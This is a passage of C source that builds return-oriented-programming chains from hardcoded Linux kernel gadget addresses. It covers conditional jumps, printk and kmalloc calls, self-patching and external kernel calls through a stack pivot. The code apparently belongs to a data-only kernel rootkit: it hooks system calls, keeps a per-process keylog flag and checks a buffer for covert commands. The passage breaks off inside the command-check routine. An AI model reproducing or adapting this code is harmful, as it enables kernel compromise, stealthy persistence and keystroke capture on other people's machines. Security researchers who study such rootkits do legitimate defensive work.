    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // for the given type,
                                                                            // must be overwritten by init

    // RAX points to the state field, but we want the VALUE
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;
   
    // If the value is supposed to be in RAX, we are done.
    if (reg == REG_RAX)
            return;

    // Otherwise we need to move it from RAX to the given register
    // Use our move sequence for this.
    if (stack_safe)
        generate_move_from_rax(fake_stack, fake_stack_size, reg);
    else
        generate_move_from_rax_unsafe(fake_stack, fake_stack_size, reg);
}

/**
 * Load a VALUE from the state area into the given register.
 *
 * This sequence will move the VALUE within the given state
 * field into one of the supported registers (RBX, RCX, RDX,
 * RSI, RDI).
 * The sequence uses RDI, RDX and RAX. However, it is possible to
 * load the value into RAX, RDI, or RDX.
 *
 * IMPORTANT: This function guarantees that the stack remains valid.
 *            This means older gadgets on the stack will not be
 *            overwritten.
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param type The entry within the state that should be read.
 * @param reg The register that should contain the result.
 *
 */
static void generate_get_state_value(void **fake_stack, u32 *fake_stack_size,
                                     u32 type, enum registers reg)
{
    _generate_get_state_value_helper(fake_stack, fake_stack_size, type, reg, 1);
}

/**
 * Load a VALUE from the state area into the given register.
 *
 * This sequence will move the VALUE within the given state
 * field into one of the supported registers (RBX, RCX, RDX,
 * RSI, RDI).
 * The sequence uses RDX and RAX. However, it is possible to
 * load the value into RAX or RDX.
 *
 * IMPORTANT: This function may overwrite previously executed gadgets
 *            on the stack!
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param type The entry within the state that should be read.
 * @param reg The register that should contain the result.
 *
 */
static void generate_get_state_value_unsafe(void **fake_stack, u32 *fake_stack_size,
                                            u32 type, enum registers reg)
{
    _generate_get_state_value_helper(fake_stack, fake_stack_size, type, reg, 0);
}


/**
 * Add a gadget sequence for a conditional jump equal (jz).
 *
 * This function will add a gadget sequence for a conditional jump. The value
 * to check is thereby expected to be contained in RDX, while the value to
 * compare with is supposed to be in RBX.
 * This sequence used RAX, RBX, RCX, RDX, RDI, and RBP.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
* @param cond_offset The number of bytes that should be skipped in case the
 *                   RBX == RDX.
 */
static void generate_conditional_jump_equal(void **fake_stack, u32 *fake_stack_size,
                                            u64 cond_offset)
{
    u32 current_size = 0;
    void *location = 0;
    u32 location_size = 0;
   
    // We need to make sure that we do not overwrite anything important.
    // Since we have to use PUSHF to get the flags, the approach we
    // need to take is rather involved.
   
    // First of all we need to setup RAX as we will call it later on.
    // RAX should execute our PUSHF gadget.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81143f0d, fake_stack, fake_stack_size);     // PUSHF; CALL RCX;
   
    // Next we need to setup RCX (see call above)
    generate_pop(fake_stack, fake_stack_size, REG_RCX);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8100a4dc, fake_stack, fake_stack_size);     // ADR: POP RDX;
                                                                            //      POP RCX;
                                                                            //      POP RAX;
                                                                            //      RET;
   
    // Now setup RDI with our sub gadget.
    // IMPORTANT: We have to execute the gadget in RDI AFTER we make
    // room on the stack as every ADD instruction changes the EFLAGS!
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8159978b, fake_stack, fake_stack_size);     // SUB RDX, RBX;
                                                                            // CALL RAX;

    // Finally we can start the whole thing.
    // Increment stack pointer and invoke SUB.
    add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
   
    // Padding
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RCX;
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the PUSHF!
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RAX of the sub!
    // Flags are now in RCX!
    // Move them to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RCX);
   
    // Load mask for ZF into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(1 << 6, fake_stack, fake_stack_size);                 // MASK ZF

    // Isolate ZF using and
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET
   
    // SHR
    add_to_fake_stack(0xffffffff810cea25, fake_stack, fake_stack_size);     // SHR RAX,0x6; AND EAX,0x1; RET

    // NEG
    add_to_fake_stack(0xffffffff8135234a, fake_stack, fake_stack_size);     // NEG RAX; RET
   
    // Load conditional offset size into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(cond_offset, fake_stack, fake_stack_size);            // Offset

    // And the offset with the mask
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET

    // If we want to jump, rax is > 0
    // Get the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;

    // Safe the size to be able to fix the stack
    current_size = (*fake_stack_size);
   
    // Add RSP to the offset
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET

    // Account for the gadgets that follow PUSH RSP and FIX SP
    // Move offset into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    // We have to overwrite the next gadget with the correct size that
    // is required to fix the stack (= the size of the remaining gadgets
    // in this function), once we know it at the end of the function.
    location = (*fake_stack);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // Gadget size
                                                                            // must be overwritten!

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
   
    // Fix the gadget size from above.
    // Gadgets - space of new RBP, since we use LEAVE RET!
    add_to_fake_stack((*fake_stack_size) - current_size - 8,
                      &location, &location_size);
}

/**
 * Add a gadget sequence for a conditional jump not equal (jnz).
 *
 * This function will add a gadget sequence for a conditional jump.
 * The value to check is thereby expected to be contained in RDX,
 * while the value to compare with is expected to be in RBX!
 * This sequence uses RAX, RBX, RCX, RDX, RDI, and RBP
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param cond_offset The number of bytes that should be skipped in case the
 *                    RBX != RDX.
 */
static void generate_conditional_jump_not_equal(void **fake_stack, u32 *fake_stack_size,
                                                u64 cond_offset)
{
    u32 current_size = 0;
    void *location = 0;
    u32 location_size = 0;
   
    // We need to make sure that we do not overwrite anything important.
    // Since we have to use PUSHF to get the flags, the approach we
    // need to take is rather involved.
   
    // First of all we need to setup RAX as we will call it later on.
    // RAX should execute our PUSHF gadget.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81143f0d, fake_stack, fake_stack_size);     // PUSHF; CALL RCX;
   
    // Next we need to setup RCX (see call above)
    generate_pop(fake_stack, fake_stack_size, REG_RCX);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8100a4dc, fake_stack, fake_stack_size);     // ADR: POP RDX;
                                                                            //      POP RCX;
                                                                            //      POP RAX;
                                                                            //      RET;
   
    // Now setup RDI with our sub gadget.
    // IMPORTANT: We have to execute the gadget in RDI AFTER we make
    // room on the stack as every ADD instruction changes the EFLAGS!
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8159978b, fake_stack, fake_stack_size);     // SUB RDX, RBX;
                                                                            // CALL RAX;

    // Finally we can start the whole thing.
    // Increment stack pointer and invoke SUB.
    add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
   
    // Padding
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RCX;
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the PUSHF!
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RAX of the sub!
    // Flags are now in RCX!
    // Move them to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RCX);

    // Flags are now in RAX
    // Load mask for ZF into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(1 << 6, fake_stack, fake_stack_size);                 // MASK ZF

    // Isolate ZF using and
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET

    // SHR
    add_to_fake_stack(0xffffffff810cea25, fake_stack, fake_stack_size);     // SHR RAX,0x6; AND EAX,0x1; RET

    // SET RDX to 1
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);                    // 0x1

    // XOR
    add_to_fake_stack(0xffffffff81678448, fake_stack, fake_stack_size);     // XOR EAX, EDX; RET
    // Now RAX is 1 if the ZF was NOT set!

    // NEG
    add_to_fake_stack(0xffffffff8135234a, fake_stack, fake_stack_size);     // NEG RAX; RET

    // Load conditional offset size into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(cond_offset, fake_stack, fake_stack_size);            // Offset

    // And the offset with the mask
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET
 
    // If we want to jump, rax is > 0
    // Get the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;

    // Safe the size to be able to fix the stack
    current_size = (*fake_stack_size);
   
    // Add RSP to the offset
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET

    // Account for the gadgets that follow PUSH RSP and FIX SP
    // Move offset into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    // We have to overwrite the next gadget with the correct size that
    // is required to fix the stack (= the size of the remaining gadgets
    // in this function), once we know it at the end of the function.
    location = (*fake_stack);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // Gadget size
                                                                            // must be overwritten!

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
   
    // Fix the gadget size from above.
    // Gadgets - space of new RBP, since we use LEAVE RET!
    add_to_fake_stack((*fake_stack_size) - current_size - 8,
                      &location, &location_size);
}


/**
 * Add a printk statement to the given fake stack.
 *
 * This function will generate a printk sequence for the
 * given string.
 * The sequence uses RDX, RDI, RAX, and RBP.
 *
 * IMPORTANT: This function is NOT stack safe as it uses an
 *            external function ('printk').
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param fmt The format string to be printed.
 * @param ... The arguments of the format string.
 */
static void generate_printk(void **fake_stack, u32 *fake_stack_size, char *fmt, ...)
{
    int size = 0;
    u32 i = 0;
    u64 distance = 0;
    u64 cleanup = 0;
    u64 *strp = 0;
    va_list argp;
    char *buffer = malloc(4096);

    printf("\t[*] Generating printk gadget sequence...\n");

    if (!buffer)
    {
            error(-1, 0, " [!] Could not allocate memory for string!\n");
    }

    va_start(argp, fmt);
    size = vsnprintf(buffer, 4096, fmt, argp);
    va_end(argp);

    if (size < 0 || size >= 4088)
    {
            error(-1, 0, " [!] String is too big!\n");
    }

    // Terminate string
    buffer[size] = '\0';
    size++;

    // Calculate variables
    // "Align" string
    while (size % 0x8 != 0)
    {
            buffer[size] = '\0';
            size++;
    }

    // Calculate the cleanup portion
    cleanup = (*fake_stack_size);
    // We write a cleanup portion to the fake stack to get its size,
    // however we will reset the stack afterwards such that this gadget
    // is overwritten.
    generate_stack_increment(fake_stack, fake_stack_size, size);
    cleanup = (*fake_stack_size) - cleanup;
   
    // Reset
    (*fake_stack_size) -= cleanup;
    (*fake_stack) -= cleanup;

    // Calculate the distance to the string in bytes
    distance = 7 * 8;         // There are 7 gadgets before the cleanup portion
    distance += cleanup;      // The cleanup

    // -----------------------------------------> Gadget sequence starts here
    // Get the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;
   
    // Load distance to string into RDI
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_to_fake_stack(distance, fake_stack, fake_stack_size);               // DISTANCE

    // Move SP from RDX to RAX
    add_to_fake_stack(0xffffffff81091536, fake_stack, fake_stack_size);     // MOV RAX, RDX; RET;

    // Add RAX (SP) to RDI (distance)
    // Notice that RDI is also the first argument
    // for printk!
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX; MOV RAX, RDI; RET;

    // Load Address of 'printk' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff816be98c, fake_stack, fake_stack_size);     // Address of printk

    // "Call" printk
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;

    // Cleanup - Remove the string from the stack
    generate_stack_increment(fake_stack, fake_stack_size, size);

    // Copy the string
    strp = (u64 *)buffer;
    for (i = 0; i < size; i += sizeof(u64))
    {
            add_to_fake_stack((*strp), fake_stack, fake_stack_size);        // Copy bytes of the string
            strp++;
    }
}

/**
 * Generate a kmalloc gadget sequence.
 *
 * This function generates a gadget sequence that invokes kmalloc
 * using the specified size. The result of the kmalloc call will be
 * in RAX.
 *
 * The function makes use of RAX, RDI, and RSI.
 *
 * IMPORTANT: This function is NOT stack safe!
 *
 * @param fake_stack The fake stack the patching sequence is added to.
 * @param fake_stack_size The current size of the fake stack.
 * @param size The size of the memory area that should be allocated.
 */
static void generate_kmalloc(void **fake_stack, u32 *fake_stack_size,
                              u32 size)
{
    // RDI = size, RSI = GFP_KERNEL
    generate_pop(fake_stack, fake_stack_size, REG_RDI);
    add_to_fake_stack(size, fake_stack, fake_stack_size);                   // SIZE in RDI

    generate_pop(fake_stack, fake_stack_size, REG_RSI);
    add_to_fake_stack(0xd0, fake_stack, fake_stack_size);                   // GFP_KERNEL, 0xd0

    // Load Address of '__kmalloc' into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8117d490, fake_stack, fake_stack_size);     // Address of __kmalloc

    // "Call" __kmalloc
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
}

/**
 * Generate a patching gadget seqeunce.
 *
 * A patching gadget sequence patches all entries within a given fake
 * stack (RCX) using the current value in RDI as base address. That is,
 * the patching sequence generated by this function will iterate over
 * all patching symbols within the target fake stack and patch them at
 * run-time using the current value of RDI.
 *
 * The function is stack safe.
 *
 * IMPORTANT: This function expects the target fake stack to be in RCX,
 *            and the base address of the state to be in RDI. In addition,
 *            This function does not check whether RDI contains a
 *            pointer to the global state or a process state. The
 *            user has to specify this using the scope argument.
 *
 * The function makes use of RAX, RCX, and RDI.
 *
 * @param fake_stack The fake stack the patching sequence is added to.
 * @param fake_stack_size The current size of the fake stack.
 * @param target_fake_stack The fake stack containing all the patch
 *                          symbols that should be processed.
 * @param target_fake_stack_size The size of the target fake stack,
 * @param scope The type of symbols that should be patched.
 */
static void generate_patch_gadget(void **fake_stack, u32 *fake_stack_size,
                              void *target_fake_stack, u32 target_fake_stack_size,
                              enum patch_scope scope)
{
    u32 i = 0;
    u32 patch_offset = 0;
    void *target_stack_begin = target_fake_stack - target_fake_stack_size;

    for (i = 0; i < patch_entry_index; ++i)
    {
        // Is this a symbol we want to process?
        if (patch_entries[i].scope != scope || scope == ALL)
        {
            continue;       
        }
       
        // Does the symbol lie in the target stack?
        if (patch_entries[i].fake_stack_position < target_stack_begin ||
            patch_entries[i].fake_stack_position > target_fake_stack)
        {
            continue;
        }
   
        // Set Offset
        patch_offset = patch_entries[i].type + patch_entries[i].type_offset;
       
        //printf("PATCHING %lx in stack %p\n", patch_offset, target_stack_begin);

        // ----------------------------------------------------------------
        // 1. Add the current offset to RDI, which contains the base address
        //    of the state.
        // ----------------------------------------------------------------
        // First add the offset to it.
        generate_add_value(fake_stack, fake_stack_size,
                            patch_offset, REG_RDI);
       
        // Save RDI as it is used by ADD and SUB gadgets
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RDI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
       
        // ----------------------------------------------------------------
        // 2. Calculate the address we want to patch
        // ----------------------------------------------------------------
        // The address of the memory region that should be patched is
        // currently in RCX. Add the offset of the symbol to it.
        generate_add_value(fake_stack, fake_stack_size,
                            patch_entries[i].fake_stack_offset, REG_RCX);
       
        // ----------------------------------------------------------------
        // 3. Restore RDI
        // ----------------------------------------------------------------
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RDI);

        // ----------------------------------------------------------------
        // 4. Do the patching
        // ----------------------------------------------------------------
        add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);     // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;

        // ----------------------------------------------------------------
        // 5. RESET RDI and RCX
        // ----------------------------------------------------------------
        // RDI
        generate_substract_value(fake_stack, fake_stack_size, patch_offset,
                                    REG_RDI);
       
        // Save RDI
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RDI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
       
        // RCX
        generate_substract_value(fake_stack, fake_stack_size,
                                 patch_entries[i].fake_stack_offset, REG_RCX);
       
        // Restore RDI
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RDI);

    }
}

/**
 * Generate initialize a process state.
 *
 * Generate a gadget sequence that initializes the local state of
 * a process. It expects a pointer to the state in RAX.
 *
 * The function makes use of RAX, RCX, and RDI.
 *
 * The function is stack safe!
 *
 * @param fake_stack The fake stack the patching sequence is added to.
 * @param fake_stack_size The current size of the fake stack.
 *
 */
static void generate_initialize_process_state(void **fake_stack, u32 *fake_stack_size)
{
    // 1. Debug
    // Move offset into RDI
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RDI; RET
    add_to_fake_stack(DEBUG, fake_stack, fake_stack_size);                  // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    generate_pop(fake_stack, fake_stack_size, REG_RDX);                     // POP RDX; RET
    // DEBUG ON=0x1, DEBUG OFF=0x0
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);                    // The value for debug
    // SET
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
    // DEBUG DONE
   
    // 2. Keylog
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RDI; RET
    add_to_fake_stack(KEYLOG - DEBUG, fake_stack, fake_stack_size);         // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    generate_pop(fake_stack, fake_stack_size, REG_RDX);                     // POP RDX; RET
    // KEYLOG ON=0x1, KEYLOG OFF=0x0
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // The value for KEYLOG
    // SET
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
    // Keylog DONE

    // 3. BUFFER_INDEX
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RDI; RET
    add_to_fake_stack(BUFFER_INDEX - KEYLOG, fake_stack, fake_stack_size);  // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    generate_pop(fake_stack, fake_stack_size, REG_RDX);                     // POP RDX; RET
    // DEFAULT 0
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // The value for BUFFER_INDEX
    // SET
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
    // BUFFER_INDEX DONE
}

/**
 * Generates a gadget for an external function call.
 *
 * The gadget uses the kernel stack for an external function call. It is
 * useful when we have to execute external function calls within a loop
 * and must therefore keep our stack unmodified.
 *
 * The function arguments must be in TMP_RDI, TMP_RSI and TMP_RDX.
 * Currently only functions with 3 arguments supported.
 *
 * This gadget uses RAX, RBX, RCX, RDX, RSI, RDI, RBP.
 *
 * This function is stack safe as it uses the kernel stack for the actual
 * function call.
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param address The address of the function to be called.
 */
static void generate_external_call(void **fake_stack, u32 *fake_stack_size,
                                   u64 address)
{
    void *location = 0;
    u32 location_size = 0;
   
    // ----------------------------------------------------------------
    // Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);          // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, fake_stack, fake_stack_size);          // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
   
    // Load offset from per_cpu(kernel_stack) to current
    // kernel stack (basically we have to account for the memory
    // that the system call handler is using) into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);          // POP RSI; RET;
    add_to_fake_stack(0x60, fake_stack, fake_stack_size);                        // Offset. This is
                                                                                 // the space that the
                                                                                 // system_call_handler
                                                                                 // is using.

    // We now have to SUBSTRACT (the stack grows down!) this value from the
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, fake_stack, fake_stack_size);          // SUB RAX, RSI; RET;
   
    // Move the pointer into RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);

    // ----------------------------------------------------------------
    // Prepare the kernel stack for the call
    // ----------------------------------------------------------------
    // We now place the return address on the kernel stack.
    // For this we need the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);         // PUSH RSP; POP RDX; RET;

    // The SP points here! Safe this location to calculate the correct
    // offset at the end.
    location_size = (*fake_stack_size);
   
    // Move RAX to RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Add the size of this sequence to the amount that the SP should
    // be increased by. Since the size of the sequence is unknown at
    // this point, we will overwrite this gadget at the end of the
    // function with the correct size!
    // For the latter we first save the address and the size
    location = (*fake_stack);
    generate_add_value(fake_stack, fake_stack_size, 0, REG_RAX);
    // RAX now contains return address.

    // Move
    // RSI was already loaded above!
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Return address now on kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
    // Next move a POP RSP; RET gadget to the stack.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81423f82, fake_stack, fake_stack_size);          // POP RSP; RET

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RSP; RET now on kernel stack.
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
   
    // Finally we have to move the function we want to call to the
    // stack
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(address, fake_stack, fake_stack_size);                     // Function address
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Function now on kernel stack.
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
    // Now the arguments
    // RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP_RDI, REG_RAX);
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDI on stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
    // POP RDI;
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    generate_pop(fake_stack, fake_stack_size, REG_RDI);

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDI; RET;
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
   
    // RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP_RSI, REG_RAX);
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RSI on stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
    // POP RSI;
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    generate_pop(fake_stack, fake_stack_size, REG_RSI);

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RSI; RET;
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
   
    // RDX
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP_RDX, REG_RAX);
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDX on stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
    // POP RDI;
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    generate_pop(fake_stack, fake_stack_size, REG_RDX);

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDX; RET;
   
    // ----------------------------------------------------------------
    // Execute!
    // ----------------------------------------------------------------
    // Now the call. We use LEAVE; RET for this purpose.
    // Substract 8 from the kernel stack pointer to account for POP RBP!
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
   
    // Move the Pointer
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
   
    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET;
   
    // LEAVE; RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
   
    // Overwrite the add sequence. We want to return here after the call!
    generate_add_value(&location, &location_size,
                       (*fake_stack_size) - location_size,
                       REG_RAX);
}

/**
 * Generates a command checking sequence.
 *
 * This function generates a gadget sequence that checks the current
 * process buffer for a specific command. During run-time it returns
 * 0 if a the current command matches the command to check for.
 *
 * This gadget uses RAX, RBX, RCX, RDX, RSI, RDI, RBP.
 *
 * IMPORTANT: This function is NOT stack safe!
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param command The command string to check for in hex in reverse!
 */
static void generate_check_command(void **fake_stack, u32 *fake_stack_size,
                                   u64 command)
{
    void *jmp_no_command = 0;
    u32 jmp_no_command_size = 0;
   
    // Status
    printf("\t[*] Generating check command...\n");
   
    // Check if the command flag is set, otherwise this is no command
    // RBX value to compare with
    // RDX value to compare
    // COMMAND goes into RDX
    generate_get_state_value(fake_stack, fake_stack_size,
                             COMMAND, REG_RDX);
   
